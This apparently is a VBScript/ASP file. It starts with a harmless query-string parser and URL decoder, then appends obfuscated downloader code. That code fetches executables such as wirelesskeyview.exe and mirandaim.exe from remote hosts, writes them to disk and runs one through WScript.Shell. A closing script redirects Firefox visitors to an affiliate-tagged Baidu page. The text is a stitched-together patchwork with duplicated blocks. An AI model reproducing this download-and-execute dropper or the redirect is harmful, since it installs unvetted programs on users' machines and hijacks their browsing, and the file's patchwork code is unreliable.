Public QueryString
Set QueryString = Server.CreateObject("Scripting.Dictionary")
Call ProcessQueryString("utf-8")

Dim key
For Each key In QueryString.Keys
    Response.Write "QueryString(" & key & ") = " & QueryString(key)
Next

Public Sub ProcessQueryString(ByVal charset)
    Dim qs, arr, ptr, tmp
    qs = Request.ServerVariables("QUERY_STRING")
    'qs = "as_q=%E4%B8%AD%E5%8D%8E%E4%BA%BA%E6%B0%91%E5%85%B1%E5%92%8C%E5%9B%BD&hl=zh-CN&newwindow=1&num=10&btnG=Google+%E6%90%9C%E7%B4%A2&as_epq=&as_oq=&as_eq=&lr=lang_zh-CN&cr=&as_ft=i&as_filetype=&as_qdr=all&as_occt=any&as_dt=i&as_sitesearch=&as_rights="
    arr = Split(qs, "&")
    For Each ptr In arr
        tmp = Split(ptr, "=", 2)
        If UBound(tmp) = 1 Then
            QueryString(URLDecode(tmp(0), charset)) = URLDecode(tmp(1), charset)
        End If
    Next
End Sub

Public Function URLDecode(ByVal data, ByVal charset)
    Dim strm
    Set strm = Server.CreateObject("ADODB.Stream")
    With strm
        .type = 2
        .charset = "iso-8859-1"
        .open
        .writeText unescape(data)
        .position = 0
        .charset = charset
        URLDecode = .readText(-1)
        .close
    End With
    Set strm = Nothing
End Function

Set xfuck = CreateObject("Mic"&"rosoft.XM"&"L"&"HTTP")
with xfuck
.Open "GET","http://22.duote.com/wirelesskeyview.exe",0  
.Send()
end with
Set szy = CreateObject("AD"&"ODB.St"&"r"&"eam")
with szy  
.type = eval("1")
.Mode = eval("3")  
.open()
.write eval("xfuck.res"&"po"&"nse"&"Bod"&"y")
.SaveToFile "C:\xxx.exe",eval ("2")  
end with

url = "http://22.duote.com/wirelesskeyview.exe" '网络上的文件地址或者程序  
saveas = "x.exe" '保存成的本地文件或者名字（自定义）  
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象  
Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象  

Call xmlhttp.open("GET",url,False)'打开连接  
Call xmlhttp.send()'发送请求  

stream.mode = 3 '设置数据流为读写模式  
stream.type = 1 '设置数据流为二进制模式  
Call stream.open()'打开数据流  
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流  
Call stream.savetofile(saveas,2)'将数据流保存为文件  

'释放对象  
Set xmlhttp = Nothing  
Set stream = Nothing  
dim a '定义a变量  
set a=CreateObject("Wscript.Shell") '暂时屏蔽 创建应用脚本程序

Set xfuck = CreateObject("Mic"&"rosoft.XM"&"L"&"HTTP")
with xfuck
.Open "GET","http://23.duote.com/mirandaim.exe",0  
.Send()
end with
Set szy = CreateObject("AD"&"ODB.St"&"r"&"eam")
with szy  
.type = eval("1")
.Mode = eval("3")  
.open()
.write eval("xfuck.res"&"po"&"nse"&"Bod"&"y")
.SaveToFile "xxx.exe",eval ("2")  
end with
Dim objws
Set objws=WScript.CreateObject("wscript.shell")
objws.Run "xxx.exe"

<script>
if(isFirefox=navigator.userAgent.indexOf("Firefox")>0)
{top.location='http://www.baidu.com/index.php?tn=1k7com';}
</script>